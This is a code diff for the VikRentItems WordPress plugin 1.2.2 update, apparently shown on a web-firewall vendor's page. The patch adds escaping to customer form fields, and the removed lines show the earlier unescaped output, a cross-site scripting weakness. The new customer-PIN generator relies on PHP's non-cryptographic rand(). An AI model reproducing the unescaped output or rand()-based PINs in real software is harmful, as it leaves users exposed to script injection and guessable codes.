+	 *
+	 * @return 	string
+	 *
+	 * @since 	1.8.2 (J) - 1.2.2 (WP)
+	 */
+	public function generateSerialCode(int $length = 8, ?array $map = null)
+	{
+		$code = '';
+
+		if (!$map) {
+			// use default tokens unless specified
+			$map = [
+				'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
+				'0123456789',
+			];
+		}
+
+		// iterate until the specified length is reached
+		for ($i = strlen($code); $i < $length; $i++) {
+			// toss tokens block
+			$_row = rand(0, count($map) - 1);
+			// toss block character
+			$_col = rand(0, strlen($map[$_row]) - 1);
+
+			// append character to serial code
+			$code .= (string) $map[$_row][$_col];
 		}
+
+		return $code;
+	}
+
+	/**
+	 * Generates a unique PIN number for the customer.
+	 *
+	 * @param 	bool 	$notpush 	True to avoid internal caching.
+	 *
+	 * @return 	string 				The unique pin-code string.
+	 *
+	 * @since 	1.8.2 (J) - 1.2.2 (WP) pin length changed to 8 alphanumeric characters.
+	 */
+	public function generateUniquePin($notpush = false)
+	{
+		do {
+			// generate a random serial code
+			$rand_pin = $this->generateSerialCode(8);
+		} while ($this->pinExists($rand_pin));
+
 		if (!$notpush) {
 			$this->all_pins[] = $rand_pin;
 		}
+
 		return $rand_pin;
 	}

 	/**
-	* Checks if the pin already exists
-	* @param pin
-	* @param ignorepin
-	*/
-	public function pinExists($pin, $ignorepin = '') {
-		$current_pins = $this->all_pins === false ? $this->getAllPins($ignorepin) : $this->all_pins;
+	 * Checks if the pin already exists.
+	 *
+	 * @param 	string 	$pin
+	 * @param 	string 	$ignorepin
+	 *
+	 * @return 	boolean
+	 */
+	public function pinExists($pin, $ignorepin = '')
+	{
+		$current_pins = $this->all_pins ?: $this->getAllPins($ignorepin);
+
 		return in_array($pin, $current_pins);
 	}

 	/**
-	* Fetches and sets all the pins currently stored in the database
-	* @param ignorepin
-	*/
-	public function getAllPins($ignorepin = '') {
+	 * Fetches and sets all the pins currently stored in the database
+	 *
+	 * @param 	string 	$ignorepin 	An optional PIN to ignore in the query.
+	 *
+	 * @return 	array 				The array of all the PINs currently stored in the database.
+	 */
+	public function getAllPins($ignorepin = '')
+	{
 		$current_pins = array();
 		$q = "SELECT `pin` FROM `#__vikrentitems_customers`".(!empty($ignorepin) ? " WHERE `pin`!=".$this->dbo->quote($ignorepin) : "").";";
 		$this->dbo->setQuery($q);
-		$this->dbo->execute();
-		if ($this->dbo->getNumRows() > 0) {
-			$pins = $this->dbo->loadAssocList();
-			foreach ($pins as $v) {
-				$current_pins[] = $v['pin'];
-			}
+		$pins = $this->dbo->loadAssocList();
+
+		foreach ($pins as $v) {
+			$current_pins[] = $v['pin'];
 		}
+
 		$this->all_pins = $current_pins;
+
 		return $this->all_pins;
 	}

--- a/vikrentitems/site/views/oconfirm/tmpl/default.php
+++ b/vikrentitems/site/views/oconfirm/tmpl/default.php
@@ -1168,10 +1168,10 @@
 				<div class="vri-customfield-input vri-oconfirm-cfield-input">
 				<?php
 				if ($cf['isphone'] == 1) {
-					echo $vri_app->printPhoneInputField(array('name' => 'vrif' . $cf['id'], 'id' => 'vrif-inp' . $cf['id'], 'value' => $def_textval, 'class' => 'vriinput', 'size' => '40'));
+					echo $vri_app->printPhoneInputField(array('name' => 'vrif' . $cf['id'], 'id' => 'vrif-inp' . $cf['id'], 'value' => JHtml::fetch('esc_attr', $def_textval), 'class' => 'vriinput', 'size' => '40'));
 				} else {
 					?>
-					<input type="text" name="vrif<?php echo $cf['id']; ?>" id="vrif-inp<?php echo $cf['id']; ?>" value="<?php echo $def_textval; ?>" size="40" class="vriinput"/>
+					<input type="text" name="vrif<?php echo $cf['id']; ?>" id="vrif-inp<?php echo $cf['id']; ?>" value="<?php echo JHtml::fetch('esc_attr', $def_textval); ?>" size="40" class="vriinput"/>
 					<?php
 				}
 				?>
@@ -1190,7 +1190,7 @@
 					<?php echo $fname; ?>
 				</div>
 				<div class="vri-customfield-input vri-oconfirm-cfield-input">
-					<textarea name="vrif<?php echo $cf['id']; ?>" id="vrif-inp<?php echo $cf['id']; ?>" rows="5" cols="30" class="vritextarea"><?php echo $def_textval; ?></textarea>
+					<textarea name="vrif<?php echo $cf['id']; ?>" id="vrif-inp<?php echo $cf['id']; ?>" rows="5" cols="30" class="vritextarea"><?php echo JHtml::fetch('esc_textarea', $def_textval); ?></textarea>
 				</div>
 			</div>
 		<?php
@@ -1203,7 +1203,7 @@
 					<?php echo $fname; ?>
 				</div>
 				<div class="vri-customfield-input vri-oconfirm-cfield-input">
-					<?php echo $vri_app->getCalendar('', 'vrif'.$cf['id'], 'vrif-inp'.$cf['id'], $nowdf, array('class' => 'vriinput', 'size' => '10', 'value' => $def_textval, 'maxlength' => '19')); ?>
+					<?php echo $vri_app->getCalendar('', 'vrif'.$cf['id'], 'vrif-inp'.$cf['id'], $nowdf, array('class' => 'vriinput', 'size' => '10', 'value' => JHtml::fetch('esc_attr', $def_textval), 'maxlength' => '19')); ?>
 				</div>
 			</div>
 			<?php
@@ -1211,7 +1211,7 @@
 			?>
 			<script type="text/javascript">
 			jQuery(document).ready(function() {
-				jQuery('#vrif-inp<?php echo $cf['id']; ?>').val('<?php echo addslashes($def_textval); ?>');
+				jQuery('#vrif-inp<?php echo $cf['id']; ?>').val('<?php echo htmlentities($def_textval); ?>');
 			});
 			</script>
 			<?php
--- a/vikrentitems/vikrentitems.php
+++ b/vikrentitems/vikrentitems.php
@@ -3,7 +3,7 @@
 Plugin Name:  VikRentItems
 Plugin URI:   https://vikwp.com/plugin/vikrentitems
 Description:  Multi-purpose items rental system.
-Version:      1.2.1
+Version:      1.2.2
 Author:       E4J s.r.l.
 Author URI:   https://vikwp.com
 License:      GPL2
@@ -298,6 +298,18 @@
 	{
 		require_once VRI_ADMIN_PATH . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR . 'vikrentitems.php';
 		require_once VRI_ADMIN_PATH . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR . 'jv_helper.php';
+
+		/**
+		 * License expiration check is required for routine actions and it only involves Pro plugin users.
+		 *
+		 * @since 1.2.2
+		 */
+		if (!wp_doing_ajax() && VikRentItemsLicense::getKey() && VikRentItemsLicense::isExpired())
+		{
+			// display a message
+			$message = sprintf('Your Pro license has expired. Please <a href="%s">renew your license</a> to continue receiving updates and support.', 'admin.php?option=com_vikrentitems&view=gotopro');
+			$app->enqueueMessage($message, 'error');
+		}
 	}
 });

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.